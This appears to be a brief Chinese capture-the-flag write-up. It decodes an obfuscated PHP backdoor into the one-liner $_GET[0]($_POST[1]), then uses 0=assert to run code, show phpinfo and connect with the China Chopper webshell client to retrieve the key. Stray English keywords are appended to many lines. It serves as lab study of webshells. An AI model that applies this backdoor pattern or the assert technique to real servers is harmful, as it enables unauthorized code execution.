申請靶場環境後php
點開題目html
一段奇怪的PHP代碼mysql
由於我本身電腦重裝了win10系統,php+apache+mysql的環境本地主機以爲不必弄了,因而咱們用在線的PHP編碼(百度一下處處都是)sql
複製進去以";"來排個格式apache
運行下,報錯。函數
看看源碼,"$_" "$__" "$___" 這三個是變量名,咱們用echo輸出下內容學習
連在一塊兒了,可是能夠肯定編碼
$_ => 1spa
$__ => _GETcode
$___ => _POST
而後觀察最後一行代碼,把咱們變量給用值替換進去
${_GET}[!1](${_POST}[1]);
把多餘的{}去掉 [!1]也就是[0],整理下代碼是這樣的
$_GET[0]($_POST[1]);
和一句話的$_POST[1]傳參差很少了,那麼$_GET[0]就是咱們的函數名了
根據"b.php源碼"提示去b.php目錄下
用hackbar傳GET和POST請求
可是並無返回phpinfo的信息。
這裏又百度了下,學習到了新的知識點assert與eval的區別
咱們改爲0=assert
phpinfo顯現出來了,用菜刀鏈接下
將key提交上去,正確。